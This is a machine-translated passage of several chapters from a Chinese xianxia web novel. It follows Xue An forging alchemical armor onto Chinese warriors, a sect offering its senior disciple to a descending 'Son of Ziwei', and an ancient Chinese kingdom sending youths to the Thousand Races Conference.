    There are rumors that when the demon saint transformed by the ancient alien beast faced the suppression of this mysterious man''s bloodline, he didn''t even dare to resist, and could only obediently slaughter.


    And no one knew what he was going to do, why he killed so many high-level monster races.


    Until what happened in Moonlight City spread.


    Only when many monsters understood what had happened, they couldn''t help cursing the dead Anaconda.


    You don''t need to die by yourself, and you have set up such a powerful enemy for the Yaozu.


    Really surviving.


    But it''s useless to say anything now.


    Hu Ye has already conquered all the monster races with an extremely powerful cultivation base.


    Begin to unify the entire Yaozu mountain range step by step.


    ������������������������


    The extreme west, the country of ten thousand Buddhas.


    The reason it is called this name is that the people here believe in Buddhism.


    The second reason is that there are so many schools here, and they are all over each other, and each school has different beliefs, so it is called the country of ten thousand Buddhas.


    At this moment, in the capital of the Kingdom of Ten Thousand Buddhas.


    The debate conference has been held for three full months.


    All genres from the entire country gathered together and used their own scriptures and cultivation to debate with other genres.


    Those who lose will lose their believers and offerings for the next year, and may even be removed.


    But the winner will win the fanatical worship of countless believers.


    Therefore, every genre will regard this debate conference as the most important thing to do, and the people who are sent to participate in the war are also among the top figures.


    In the end, it often ends in a tie.


    But this year''s debate conference was somewhat different.


    In the debate hall.


    The golden wheel behind a fat monk suddenly shattered, then spit out a mouthful of golden blood and fell down suddenly.


    A little monk stepped forward and skillfully carried the fat monk away.


    Because they have done too much of this during this time, they are familiar with the road.


    The onlookers all looked at the thin monk sitting on the lotus platform with a dull expression.


    How many times is this already?


    Even the mantra saints of Shingon Sect are not opponents of those who claim to be Suffering Zen.


    How deep is this person''s understanding of Buddhism?


    At this moment, Venerable Kuzen slowly raised his eyes, looked at the monks of the following genres, and said lightly: "Who else wants to argue with Kuzen?"


    A word came out, but no one answered.


    These eminent monks, who are usually all aloof, lowered their proud heads at this moment.


    Because of these three months, countless monks tried to challenge this bitter meditation from the border desert temple, but all failed.


    No matter how high your cultivation base and reputation you usually have, everything will be in vain.


    Kuchan asked again three times.


    Still no one answered.


    Then he showed a faint smile, and his head gradually became golden.


    "In that case, are you willing to believe me?"


    Under this golden light, almost all the monks showed a confused look on their faces, and their eyes gradually became hollow.


    "Venerable, I am willing to wait!"


    For thousands of years, the country of ten thousand Buddhas has not had a leader who can subdue all genres.


    It wasn''t until the emergence of suffering Zen that the three months of debating the scriptures was invincible, and he began to be called the Venerable.


    After that, countless devotees of the Venerable Suffering Zen appeared in the entire kingdom of ten thousand Buddhas, and the momentum became greater and greater.


    ����������������


    In the north-northwest, there is a Tiewei Mountain. The height of the mountain is unknown.


    On the mountain, there are no birds and beasts.


    Within a thousand miles, no monsters and ghosts dared to pass by.


    Because under this iron fence is the famous demons.


    This is a huge square in the underground Jiuzhongquan.


    now.


    On the square stood countless Mozu soldiers.


    These Demon Soldiers were wearing armor, and it was indeed dark inside, only their eyes exuding cold flames could be seen.


    These eyes gathered together like a cold ocean.


    When the figure of Demon Zun Young Leng Junxie appeared on the Dianjiang Platform.


    All the demon soldiers howled to the sky.


    This is the respect for Leng Junxie.


    Leng Junxie looked at the soldiers below, a smile appeared on the extremely yin and evil face, and then said loudly.


    "You have been waiting here for thousands of years, and even you are used to this kind of life without seeing the sun, thinking that the demons should be like that.


    "But today I will tell you that you are wrong! As the noble demons, we should enjoy all the beautiful things in the world more than the heavens and all the races. We should be born high!"


    "But ten thousand years ago, you were driven into this underground like pigs and dogs, and since then became the humble demons in his population!"


    "But I Leng Junxie now just wants to ask you, are you convinced?"


    The demon soldiers uttered a sky-shaking roar, and the roar was full of monstrous grudges.


    Leng Junxie smiled with satisfaction, "Very well, then today, I will lead you back to the ground, slaughter all those humans, monsters and ghosts, and use blood to forge the unworldly reputation of our demons!"


    It''s the day.


    The Tiewei Mountain is overturned, the demons are present, and the world has no light.


    Similar scenes are being staged everywhere.


    Feitian of the Shura tribe led the overseas Shura to land on the coast wherever they passed, causing **** storms.


    All races are making final preparations for the Thousand Races Conference.


    And in Zhongzhou.


    Over the city of mountains and seas.


    There is a city in the sky high above the clouds.


    Whenever the sun passes here, the city of the sky will show up and be shimmered.


    That is the location of Zhongzhou Xianmen Shanhaizhai.


    At this moment, in Shanhaizhai.


    Lian Yunzhi knelt on the ground, and told the passage with a pale face.


    Sitting across from her was a woman in palace dress with a beautiful face.


    After listening, the woman frowned slightly.


    "Chinese, Xue An?"

 Chapter 612： The first block of Shanhaizhai

    "Yes!" Lian Yunzhi said respectfully.


    "Some time ago, there was a legend that Puppet Xianzong opened the ancient secret array, and the person who did it was also a Chinese man, but this person?" The palace woman said lightly.


    "Looking back at the master sister, Xue An should have done it! Because Liu Keke, the true disciple of the puppet fairy sect, also appeared in Bafang Mountain and tried to **** the treasure of the true immortal, but somehow he stopped and followed This Xue An has climbed into the relationship." Lian Yunzhi said in a deep voice.


    The palace lady nodded, "Okay, I know! I''ll tell Master about this. You go down first!"


    "Yes!" Lian Yunzhi hurriedly lowered his head in response, then stood up and walked out.


    As soon as she walked to the door, the palace lady said lightly: "The outer door currently lacks a person to manage the chores. You can help me first!"


    Lian Yunzhi''s complexion turned pale in an instant, and his mouth opened. He wanted to say something but didn''t dare to say, so he gave a low hmm, then bowed and retreated.


    After waiting out of the room, Lian Yunzhi''s eyes burst into tears.


    Because she knew that this was equivalent to being expelled from the inner door in disguise.


    But she didn''t even dare to show any dissatisfaction.


    Because it is Shanhaizhai''s first master sister palace do not speak.


    In Shanhaizhai, the position of the first master sister is extremely powerful.


    It can be said that it is in charge of the life and death of all the inner disciples of Shanhaizhai.


    Her word can even determine the fate of an inner disciple.


    Compared with Gong Wu-nian, even Yunzhi''s inner room was nothing.


    So even if she was expelled from the inner door, she only dared to shed a few tears secretly.


    And Gong Wunian in the room, after seeing Lian Yunzhi go out, a sneer appeared at the corner of his mouth.


    "What a rubbish! I sent you to grab the remains of the true immortal, and it was still in your hometown Bafang Mountain. If I failed, I actually made a big problem with my mood! Such an idiot, staying in the inner door, too A bottom-line garbage."


    To be the first master sister, you must first be able to convince the public.


    Gong Wunian is already a half-step golden immortal, and his cultivation level can also be ranked in the top three in the true biography of Shanhaizhai.


    Secondly, we must have excellent leadership and a keen vision.


    On these two points, Gong Wunian can be said to be the first among the disciples of Shanhaizhai.


    Especially her vision, even the peak masters of Shanhaizhai sighed.


    Therefore, when he saw Lian Yunzhi for the first time, Gong Wunian saw that there was a big problem in her mood.


    If this problem is not resolved, even Yunzhi shouldn''t think of making progress in his lifetime. It''s not bad to be able to maintain it without regressing.


    That''s why she decisively gave up Lian Yunzhi and let him go to the outer door to handle the chores. To put it bluntly, she expelled him from the inner door.


    Gong Wunian thought for a while, then got up and headed to the golden dome at the highest point of the Sky City.


    Her master, the head teacher of Shanhaizhai, Brahma Dingtian lived here.


    When I got here, several peak owners from Shanhaizhai were also there.


    Yao Guangfeng��s Yaoguang star girl had a good personal relationship with Gong Wunian, and smiled when she saw her coming.


    "Don''t read it!"


    Although Gong Wunian has a prominent position, he is considered a disciple after all, so he said: "I have seen the master of Shaoguang Peak!"


    Yaoguang star girl smiled slightly, "Why are you so polite with me?"


    Gong Wunian couldn''t help but feel slightly confused at this moment.


    Why are all the giants in Shanhaizhai gathered together today?


    Could something big happen?


    Thinking about it.


    Brahma Dingtian, sitting on the Dragon Court, said lightly: "You are here just right. I just received a letter from the God Realm that the son of Ziwei is going to the lower realm."


    Hearing this sentence, Gong Wunian was shocked.


    "Why did the Son of God come to this world at this time? Is it also for the Thousand Clan Conference?"


    As soon as the words were spoken, Gong Wu-nian consciously fumbled, and hurriedly closed his mouth.


    really.


    Brahma Dingtian frowned slightly, "Don''t think, the son of the gods is the upper realm star king, and his behavior is naturally different from that of mortals, so you should not speculate at will! Understand?"


    "Yes!"


    "The peak masters in these few days should also be prepared. The future prosperity of Shanhaizhai depends on this matter!"


    "Understand!" The peak masters answered one after another.


    At this time, the star girl Shaking asked: "Don''t think, what''s the matter with you here?"


    Gong Wunian nodded, and then repeated Lian Yunzhi''s words.


    Finally, he said: "Master, dear peak masters, I think this Chinese man is a bit weird, especially from what Lian Yunzhi said. He wiped out King Thousand Birds and Lord Ferocious Spirit with his body without cultivation. Then I went to the Puppet Xianzong and opened the ancient secret array. It can be seen that this person still has some doorways."


    When Brahma Dingtian heard the words, he just nodded slightly without moving.


    "The Thousand Races Conference this time is not trivial. It is not surprising that various forces have appeared in turn, and even some hidden forces that should have never existed have begun to appear."


    "However, this Chinese is innately unable to cultivate, no matter how strong, it is just an ordinary man, not enough! Just send a few people to investigate!"


    Brahma Dingtian didn''t regard this as a big deal.


    For him, the most important thing is to plan for the arrival of the Son of God.


    Gong Wunian knew that Master would react this way, so it was not surprising.


    "If this is the case, then I will send a few capable men to investigate it secretly!"


    "can!"


    Gong Wunian bowed and retreated.


    Yaoguang Star Girl looked at her away back, and chuckled a few times.


    "Master Master, in recent years, Wu Nian has grown into your right-hand man!"


    Fan Dingtian nodded, "This woman is very thoughtful and does everything without leakage. It''s really good."


    "Hehe, I just don��t know when our son of God won��t be able to read it! If she knows that she will be presented to the son of God as a gift, I don��t know if she will be honored? Or will she be afraid!" The light star girl sighed.


    "If the Son of God sees her, it will be her supreme honor, and if she can have the blood of the Son of God, she can become a transcendent existence in this world by virtue of her mother and her son. Is she still afraid of the good things?" A peak master on the side said coldly.


    "Haha, it sounds like you know women well!" Yaoguang Star Girl said lightly, got up and left.


    At this time, Shanhaizhai is intensively preparing to welcome the coming of the Son of God.


    Xiao Shui had arrived at Puppet Xianzong with a team of elites and met Xue An.


    "Angel, this place is so strange! Why are the fruits on the trees made of steel!" Xiao Shui asked.


    Xue An smiled, and then looked at the Chinese warriors who came with Xiaoshui.


    "Are these people?"


    Xiao Shui nodded, "According to your instructions, the Thousand Birds Kingdom has been completely calmed by us. Many Chinese who do not want to go back have been placed there. Those who came with me are those who hope to return to their homeland!"


    Xue An nodded, "Okay! If so, then I will give you another chance."

 Chapter 613： Real Armored Soldier

    When Xue An traveled through the heavens, he once accidentally entered a lost place.


    In that deserted world, all the peaks have been made into alchemy towers, and the rivers and oceans have been refined into formations.


    The magnificent scene surprised Xue An at the time.


    But it was a completely dead world.


    Standing on the top of the mountain, looking very far, the earth is covered with huge remains of puppets.


    Although countless years have passed, these wrecks still shone with cold metallic luster, showing how powerful the civilization that built them back then.


    In the end, Xue An opened a secret store and obtained a lot of useful things. The knowledge of ancient alchemy, such as the Zhoutian solution formation, the black tower of alchemy, etc., was obtained from there.


    Xue An led Xiao Shui and others to the alchemy tower.


    This is now the holy land of the entire puppet Xianzong.


    When Xue An came here, Liu Keke and Cang Yayun also rushed over.


    "Senior, is there anything wrong?" Cang Yayun asked.


    Ever since the Puppet Xianzong opened the ancient secret array, Cang Yayun felt that the advancement of his puppet technique could be said to have been rapid.


    Although her cultivation path has been wrong, and there is no chance to look back.


    But if the puppet technique can break through again, then the strength will be greatly increased, and maybe even the small group of people in the entire Zhongzhou can become the top.


    Therefore, Cang Yayun''s complaints about being deprived of the position of head have long since vanished.


    Now she is studying the art of puppets every day.


    For Xue An, he was also respected.


    Xue An shook his head, "Nothing, I just want to make some armors for these Chinese warriors!"


    Make armor?


    Cang Yayun and Liu Keke looked at each other, and both saw the doubt in each other''s eyes.


    Liu Keke stepped forward, "Senior, there are many armors left over from previous generations in the clan, and there are many puppet seeds. If you want, I will now order people to lead these Chinese warriors in and select them."


    Although the Puppet Xianzong has become a second-rate sect, after all, it has a profound background. The various alchemy armors left in the Zongfu can be said to be extremely large, and the armed Xiaoshui and others are more than enough.


    Xue An smiled and shook his head, "No need. You wait to step back!"


    Cang Yayun and Liu Keke retreated far away upon hearing this.


    Xue An stood in front of the alchemy tower and said lightly: "There may be some pain, are you afraid?"


    Xiao Shui and the Chinese warriors all laughed at the words.


    "Brother Ang, a man, is there any reason to be afraid of mere pain?" Xiao Shui said.


    "Well, line up the battle formation."


    Xue An gave an order, Xiao Shui and the others drew together, and immediately arranged them in order according to the art of battle formation.


    Xue An walked to the alchemy tower and suddenly said, "Do you know what the first principle of alchemy is?"


    Cang Yayun and Liu Keke in the distance were all startled, and their faces were all blank.


    "The art of alchemy, to put it plainly, is actually a technique for forcibly changing the original structure of matter so that it can grow according to the wishes of the refiner, but it has an iron law." Xue settled for a moment.


    "That is equivalent exchange."


    "Alchemy is a very fair technique. As much as you want, you have to pay accordingly. There has never been such a thing out of nothing. This is its first principle!"


    "Only when you understand this, you can be considered a qualified alchemist."


    "Senior, but this..." Liu Keke pointed to this alchemy tower and wanted to say something.


    Xue An said indifferently: "Do you want to ask why this alchemy tower changed the entire puppet fairy sect?"


    "Yes!"


    Xue An smiled slightly, "What you see is not the truth in many cases. This alchemy tower can change the puppet fairy sect, it is entirely because for thousands of years, the bottom of it has accumulated a huge amount of earth spirit power."


    Speaking of this, Xue An stretched out his hand and gently stroked the body of the alchemy tower, and said lightly: "Now, please lend me alchemy!"


    Hum!


    With a soft sound.


    With Xue An''s palm as the center, dense golden patterns gradually emerged!


    The whole alchemy tower shook slightly, and dazzling brilliance appeared on the top of the tower.


    Xue An slowly closed his eyes, and the huge divine thought spread out, carrying these dazzling brilliance, covering Xiao Shui and the others.


    "Take your mind!" Xue An''s voice resounded in the mind of every Chinese warrior.


    Xiao Shui and the others shook together and immediately hugged Yuan Shouichi to calm their minds.


    At the same time, Xue An''s spirit was like a knife and pen, and began to seal alchemy runes on every Chinese warrior.


    Every time the seal carving, Xiao Shui and others'' faces will show pain.


    This group of men who are not afraid of life and death can be like this, which shows how severe the pain is.


    In fact, every knife made by Xue An is equivalent to a direct seal carving on the skeleton meridian of Xiaoshui et al.


    Naturally it hurts my heart.


    But even so, these Chinese warriors still silently endured all this.


    Cang Yayun and Liu Keke in the distance watched all this blankly!


    Especially Cang Yayun, after all, she was once the head of the Puppet Immortal Sect, so naturally she has a lot of knowledge.


    So at this moment, she was full of horror and murmured: "This...this is the technique of military training!"


    She had seen this secret technique in the ancient books handed down from the sect.


    This is a secret method of directly engraving alchemy runes on the human body.


    Because the truth is similar to that of alchemy, it is named the technique of alchemy.


    However, it is recorded in the classics that the conditions required for military training are extremely complicated. It takes a long time to prepare just beforehand, and when the runes are sealed, the writer must concentrate on, without the slightest distraction.


    Because once the alchemy rune makes a slight mistake, it will give up all previous efforts.


    In this way, there is no guarantee that it will succeed in the end.


    In many cases, you have to rely on luck.


    And Xue An is now simultaneously sealing runes for hundreds of Chinese warriors.


    This is just like a fantasy, unbelievable.


    But only Xue An understood that what he used was not the method of training soldiers here, but the secret hiding from that lost land.


    And because of Xue An''s blessing with such a huge divine mind, he can refine it for so many people at the same time!


    At this time, Xue An said calmly: "The real pain is about to begin. Only by enduring it can you become stronger!"


    what? The real pain hasn''t arrived yet? What is this now?


    Xiao Shui and others are wondering.


    Xue An carved the last rune.


    boom!


    Those brilliance seemed to have been detonated, and began to crazily flood into the runes on Xiao Shui and others.


    pain!


    It''s like tearing the soul apart!


    The Chinese soldiers finally couldn''t help but groan in pain.


    Xue watched quietly.


    No one can help them at this level, they can only get through it by themselves.


    The first to complete the transformation is Xiaoshui!


    He was shocked, and the runes in his body were filled with brilliance.


    He snarled up to the sky A black line appeared around his body, and the dotted line quickly filled in the real image.


    In a flash.


    Xiao Shui was covered in black armor exuding terror.


    And this is not over yet.


    Cang!


    With a clear metal sound, two huge steel wings appeared behind Xiao Shui.


    With the black armor on the whole body, it looks extremely mysterious and powerful.


    At the same time, all the Chinese fighters began to transform together.


    With a loud roar.


    In the blink of an eye, they all wore black armor, and they all stretched out their wings.


    This... is the ancient alchemy secret.


    The art of refining armor!

 Chapter 614： The battle formation takes shape, cruising 4 sides.

    Looking at this Chinese warrior who looked like an ancient idol, Cang Yayun and Liu Keke were all stupid.


    Xue An smiled slightly.


    Not bad, it was successful all at once.


    It can be seen that none of these Chinese warriors is a scam.


    Because whenever they retreat when they transform, refining will fail.


    At this time, Xiao Shui and others were all looking at the armor on their bodies excitedly, and some of them couldn''t hold back, and directly hit the rocks with their punches.


    Click.


    After a crisp sound, this huge bluestone turned into powder.


    And this was just a casual punch, not exhausted.


    Now Xiao Shui and others are more excited.


    Xue An said lightly: "Fly into the air and move forward according to the method of battle formation."


    Xue An gave an order.


    All the Chinese warriors nodded together, and then spread out the metal wings behind them. With a slight flap, the whole person turned into a black light and flew into the air.


    Its speed is faster than that of the cultivators at Sanxian Peak.


    In the blink of an eye, all the soldiers lifted into the air, and then arranged neatly in accordance with the law of battle formation.


    As soon as the battle formation took shape, these Chinese fighters seemed to be condensed into a whole, turning into a large group of black light that covered the sky and the sun.


    The momentum is so strong that the sky and the earth are discolored, and the sun and the moon are dull.


    And once you move forward, wherever you go, the light is bent and turned into a terrifying black abyss, which makes people afraid to look directly.


    Cang Yayun, a half-step true immortal, couldn''t help but change her face when she saw this scene.


    Because she could feel it, the momentum of this black light was no less than that of a golden immortal powerhouse.


    Even when facing this black light, he has to weigh and weigh.


    Who would have thought that the formation of such a terrifying battlefield is actually a group of Chinese who have no cultivation skills?


    Cang Yayun was completely convinced at this moment, and he didn''t dare to show any disrespect towards Xue An.


    Because in her opinion, this man''s methods are simply too terrible.


    He can refine such a real soldier at will, how many unfathomable cards he has?


    At this moment, on a hill not far from Puppet Xianzong, three streamers rose up like frightened birds, and then flew away in a panic.


    Xue An seemed to have noticed it a long time ago, and only smiled when he saw it.


    Without waiting for him to speak, Xiao Shui took the lead, leading all the Chinese warriors in flight, and appeared behind the three streamers in a flash.


    "kill!"


    With the order of Xiaoshui.


    The black light instantly swallowed the two streamers behind, and after two rapid and short screams, the blood fell with the corpse.


    The one who ran at the front was so scared that he could not wait to grow two more legs specifically for driving.


    At this time Xue An''s voice came, "Forget it, spare his life!"


    Hearing Xue An''s instructions, these Chinese fighters just stopped.


    This man, as if he was amnesty, used all his milk-feeding energy, and disappeared into the sky in the blink of an eye.


    Xiao Shui and others returned to the top of the mountain and fell on the ground.


    Then, with a slight movement of his shoulders, the armor on his body converged to invisible in an instant, revealing its true colors.


    "Angel, why did you let that guy go?" Xiao Shui was puzzled.


    Xue An smiled slightly, "It''s just a little guy who spy on intelligence, and it''s useless to kill it. It''s better to put it back and give Shan Haizhai a warning."


    From the beginning, Xue An knew that someone had been peeking from a distance.


    And the aura on them is exactly the same as that of Lian Yun, they should be the people sent by Shan Hai Zhai.


    Xue An did not take this seriously.


    Only the strength of the heavens and myriad worlds will never change. I just made it clear for you to see. What can you do?


    But when the battle formation took shape and cruising around, the three people who were peeking from the top of the hill were terrified because of the terrifying aura, thinking it was aimed at them, and then they flew like a frightened bird.


    To put it bluntly, they just take themselves too seriously, otherwise they can actually not die.


    Hearing what Xue An said, Xiaoshui nodded, and then eagerly asked: "Angel, when are we going to the Thousand Races Conference?"


    Xue An laughed blankly, "In a hurry?"


    Xiao Shui nodded solemnly.


    The other Chinese fighters also looked at Xue An with expectant eyes.


    Xue An sighed secretly.


    He understands that the Chinese have been suppressed for too long.


    This time I finally had a chance to be proud of the Thousand Clan Conference, so I couldn''t wait.


    Thinking of this, Xue An nodded gently, "Pack up and set off soon!"


    "Yes!" Xiao Shui and the others all bowed their hands and said respectfully.


    As Xue An guessed, the three persons who spy on intelligence were all sent by Shanhaizhai''s first master sister Gong Wunian.


    After a brief discussion with Master and the peak masters that day, although Master disapproved, Gong Wunian still adhered to the principle of caution and sent three capable hands to the Puppet Immortal Sect to spy on information.


    In Gong Wunian''s view, these three people have good cultivation skills, and they are also clever. They also carry a talisman that can hide their spiritual thoughts, which is enough for this task.


    Unexpectedly, these methods are just like jokes in front of Xue An, and they are not worth mentioning.


    The person who escaped by chance did not dare to stay for a moment. He crossed thousands of miles and flew directly back into Shanhaizhai, and saw Gong Wunian.


    "What''s the matter? The mission failed?" Gong Wunian asked in surprise, looking at this pale and panting subordinate.


    The man nodded and said with a wry smile: "The other two have died, and I escaped by luck."


    "How many people were dispatched to deal with you? Who discovered it?" Gong Wunian asked uncertainly.


    She knows the abilities of these three people. Although they are incapable of fighting the enemy, they are very good at the art of body movement and flying, and ordinary cultivators can''t catch up with them at all.


    "This..." The man hesitated for a moment, and then passed a jade slip with him.


    "All the sights I have seen have been recorded in it with my spiritual mind, please look at the master sister!"


    Gong Wunian took the jade slip and looked at it with divine mind.


    After a while, she suddenly stood up, her face full of shock.


    "This... what is this?"


    The scene recorded by this person began after Xiaoshui and others ascended into the sky.


    Although it''s just a fantasy illusion, Gong Wunian can still feel the horror and strength of these soldiers I don''t know, because the puppet Xianzong''s mountain guard array is blocked, so the scene before lift-off We can''t see it. "


    "Are these people killing you?" Gong Wunian asked.


    "Yes! And their speed..." Mentioned this, a look of horror appeared in this person''s eyes.


    "The speed of these people is so fast. It was almost a breath of time, and they caught up with us. If someone didn''t say the last word to spare him, even I would be killed on the spot!"


    "Okay! I see, you did a good job, let''s step back first! Remember not to talk about this to anyone."


    "Yes!"


    This person is gone.


    Gong Wunian held the jade slip and stood there for a moment, and was about to go to see Master.


    A divine thought suddenly appeared in front of Gong Wunian, "Hurry up to the Zhoutian Star Palace in Houshan!"

 Chapter 615： Wan Xing is in charge of life and death

    Gong Do not read for a moment.


    Zhoutian Star Palace is an absolute forbidden place for Shanhaizhai.


    Usually, except for the master and a few peak masters, no one is allowed to step in half a step, even her first master sister.


    Today, the master suddenly called me to go here, why?


    Could it be... the son of Ziwei is coming soon?


    After this thought arose in his mind, Gong Wu-nian''s hair was erect.


    If this is true, it will be Shanhaizhai''s biggest event in the past century.


    So she immediately flew to the back mountain.


    After a while.


    The back mountain has arrived.


    There are countless layers of restrictions here, and no one can fly here.


    Gong Wunian dropped to the ground and walked to Zhoutian Star Palace.


    now.


    In the Zhoutian Star Palace, above the black dome, there are countless stars flickering.


    The great power that built this hall didn''t know what astounding means was used, but with the size of a hall, it contained countless stars in Zhou Tianhuanyu.


    Not only that, these stars still correspond to their actual positions one by one.


    Even every change in the stars in reality will be reflected here.


    At this time, the stars were turbulent rapidly, like a cloud of star fog, spinning rapidly.


    But no matter how these stars rotate, there is a bright moon-like star standing still in the middle palace.


    This star is as big as a light fight, tens of thousands of stars dominate, in charge of life and death, it is too expensive.


    This is the Ziwei Emperor Star of the Lord of Ten Thousand Stars.


    Brahma Dingtian and Shaking Star Girl and others stood on the stage of worshipping the stars, looking up at the stars, their faces showed unprecedented respect.


    Because they can feel that a supreme and noble breath is coming.


    When Gong Wunian also appeared in Zhoutian Star Palace.


    A purple starlight projected from the Ziwei Emperor star, just shining on a piece of jade in the middle of the hall.


    This jade is huge, and what is even more valuable is that it is extremely crystal clear, just like transparent.


    If there are other cultivators here, they will definitely cry out in exclamation.


    Because this whole piece of jade is an extremely rare chalcedony spar.


    This type of chalcedony spar only occasionally appears in the depths of large jade veins, and is basically the size of a fist.


    And this chalcedony spar is as tall as one person, and for this alone, this chalcedony spar is worthless.


    Even some small cultivating sects exhausted all they could not afford such a spar.


    But in the eyes of Shanhaizhai''s head teacher Brahma Dingtian and the peak masters, such a spar is not worth mentioning.


    As long as you can welcome the coming of the Son of God, everything is worth it.


    The purple starlight penetrated into the chalcedony spar and began to condense gradually.


    This process is slow but awe-inspiring.


    Because in the chalcedony spar, what is condensed by the purple starlight is the outline of a person.


    With the gradual penetration of the stars, the outline became clearer.


    In the end, nothing happened, and a young man with a majestic face like an emperor appeared.


    It''s just that the man''s eyes are closed.


    Even so, a strong pressure still made Gong Wunian pale.


    The faces of Brahma Ding Tian and all the peak masters were excited.


    Because they knew that the son of Ziwei was coming soon.


    really.


    After a breath.


    The purple star above the dome of Zhoutian Star Hall suddenly burst.


    At the same time, on the outer sky, the purple star appeared in the day, and projected the next awe-inspiring star power.


    This star power penetrated the dome of Zhoutian Star Palace, directly penetrated into the chalcedony spar, and then turned into a mysterious and noble mark, which was engraved between the man''s brows.


    Click.


    With a crisp sound.


    Countless fine cracks appeared on the chalcedony spar, which turned into dust in a flash.


    Then the closed man slowly opened his eyes.


    As soon as he opened his eyes, there seemed to be a gust of wind blowing in the Zhoutian Star Palace, and a strong aura swept through everything.


    The ten thousand stars above the dome dimmed instantly, as if they did not dare to flash anymore.


    But the man''s eyes flashed countless mysterious and mysterious characters, as if the sky and stars were all included in it, making people afraid to look directly.


    Fan Dingtian and others were trembling with excitement. They stepped forward and knelt down.


    "All the disciples of Shanhaizhai, welcome the arrival of the son of Ziwei!"


    The **** child Ziwei stood quietly, and after a while, he said in a majestic voice: "You did a good job!"


    "Thank you, God!" Fan Dingtian slammed his head, tears filled his eyes with excitement, but he did not dare to lift his head.


    Gong Wunian secretly looked at the crape myrtle **** son.


    I saw him wearing a robe embroidered with fine patterns, a long jade body, an ivory-like pale and fair complexion, and deep handsome features, while the simple and mysterious mark between his eyebrows added a bit of majesty.


    Especially with his eyes, if you look closely, you can see that countless stars are spinning in them, and you can''t help but sink into them.


    Gong Wunian was dumbfounded.


    The **** child of Ziwei seemed to have noticed her too, and smiled faintly, "The palace of Ziwei is sitting on guard, and the fourteen main yams are all Ziwei, this woman is a bit interesting!"


    Hearing him say this, Brahman said respectfully and respectfully: "Since I learned of the oracle three hundred years ago, I have been paying attention to the numerology theory, and finally found this woman and accepted her as a disciple. The first disciple under my seat, the first seat of Shanhaizhai."


    Gong Wunian''s face was dazed.


    what happened?


    Didn��t Master take me as a disciple because of my talent?


    Why do you want to say that now?


    When the Ziwei goddess heard the words, he nodded slightly, "This woman''s fate is so precious that she will naturally achieve something."


    After Brahma Dingtian heard this, he raised his head flatteringly, "My Son of God, when I took this woman as a disciple, I was going to give it to you, Lord of God. Why don''t you have a good companion around you when you come to the world?"


    Hearing these words, Gong Wunian felt cold in his hands and feet, and began to tremble uncontrollably, and his brain went blank.


    Ziwei Shenzi smiled faintly when he heard the words, this woman is quite satisfactory to me. If you can keep my blood, it is a great achievement for you! "


    After Brahma Dingtian heard it, his face was ecstatic, "The disciples dare not take credit, but only hope that the son of God and the star master will live in the world."


    After all, he turned his head to Chonggong and said: "Don��t read, from today on, you don��t have to worry about everything in Shanhaizhai. Your most important task is to stay with the son of God and do your best to give birth to adults. Heir. Understand?"


    Gong Wu-nian woke up from the daze, looking at the once majestic, but now flattering Master, suddenly he didn''t know whether he should cry or laugh.


    It turned out that all my hard work for hundreds of years was nothing but a spectacle.


    I thought it was the master who had fancyed his own abilities and talents, but he was just using his numerology to appeal to the Lord of God.


    And he also asked himself to serve the son of God like a humble ji woman, and to give birth to an heir for him.


    The combination of all these forms an extremely ironic picture.

 Chapter 616： Regardless of gender, never surrender

    Gong Wunian suddenly felt that his heart was empty.


    But she didn''t dare not listen to Master''s words, so she lowered her head to be silent.


    Shaking Star Girl turned her head and glanced at her, sighing slightly in her heart.


    She knew from the beginning that Gong Wunian would definitely react like this.


    Because she knows this victorious Gong Wu Nian too much.


    Such a blow was too heavy for her.


    It was simply destroying everything she had established in the first half of her life.


    This made Yaoguang Star Girl full of sympathy for her, but she could only be silent when she thought of Lord God Son.


    At this time, the ziwei **** child said lightly: "When will the Thousand Clan Conference begin?"


    "Master Huishen, there is still half a month."


    "Very good! Get ready, I will go to participate in person."


    "Yes!"


    The son of Ziwei slowly walked onto the tall stargazing platform and said lightly: "Also, is there anything weird in this world?"


    "This... shouldn''t be there." Fan Dingtian turned his head and looked at Gong Wunian.


    Because of Shanhaizhai, Gong Wunian is responsible for many specific affairs.


    Gong Wunian was about to take out the jade slip.


    The **** child sat on a large chair at the observatory and hooked her, "Come here and serve me!"


    Gong Wunian trembled and looked at this crape myrtle **** child with horror.


    "What? Didn''t you hear it?" The Ziwei **** son said lightly.


    When the Brahma Ding Tian saw the palace, Don''t Nian looked confused, and said impatiently: "Don''t Nian, Lord God Son is calling you!"


    Gong Wunian woke up from the confusion, then lowered his head, stood up trembling and walked to the stargazing platform.


    Brahma Dingtian showed his relief.


    But including the **** child of Ziwei, no one noticed, Gong Wunian squeezed the jade slip in his sleeve and broke it with a sudden force.


    All the above records naturally disappeared.


    Then she took a deep breath, raised her head, and slowly walked towards the son of Ziwei with a wicked smile at the corner of her mouth.


    Brahma Dingtian and the peak masters slowly retreated, silently disappearing into the darkness.


    ����������������


    The land of Zhongzhou is tens of thousands of miles wide, and there are countless tribes living in it, and the sects of cultivators and countries are as numerous as stars.


    But on the extreme edge of Zhongzhou, on the barren land adjacent to the Yaozu mountain range, there is an extremely old but troubled country.


    Ancient China.


    now.


    In the ruined capital of the ancient Chinese nation, a practice wine is being held in the extremely shabby palace banquet hall.


    Different from the laughter and joy of other receptions, the banquet hall was silent at this moment, and everyone looked sad and serious.


    Sitting on the main seat was a middle-aged man with a thin face, bloodshot eyes and a tired look.


    He is the emperor of ancient China, Huafu!


    It should be said that every emperor of the ancient Chinese kingdom was called by this name.


    It seems to have been passed to him for more than four hundred generations.


    At this moment, Hua Fu stared at the three teenagers standing below blankly, with mixed feelings in his heart, not knowing what it was like.


    "Three righteous men, go here, but a life of nine deaths, do you... have you thought about it?"


    The three of them looked at each other, and then stood in the front, a young man with a beautiful face that looked like a woman arched his hands.


    "Your Majesty, the three of me have already thought about it! Going here, even if there is no life, I can''t let the clans look down on my dignified Chinese!"


    His words made many old officials in the room secretly wiped their eyes.


    too long.


    Even many people don''t remember how many sessions there are.


    Also in this banquet hall, the same practice of wine, the same words.


    The difference is that the speaker never came back.


    But even so, no one has flinched.


    Looking at the three high-spirited teenagers, Hua Fu was heartbroken.


    Fighting for years, the races oppressed.


    It is a miracle that Gu Hua country can survive for so long.


    But now, it has fallen to the point where it can''t be picked up.


    At the beginning, the famous middle-aged righteous men who participated in the Thousand Races Conference were gradually replaced by young people, and in the end they were almost all teenagers.


    But now, even the teenagers who are eligible to participate in the Thousand Races Conference are very few.


    "Youan, are you...really going?" Hua Fu said in a trembled voice.


    The leading young man was silent for a moment, with a little tear in his eyes, but he took a deep breath and said: "Father, if the child does not go, then my dignified ancient country will really be removed from the clan!"


    "But... you are a girl after all!"


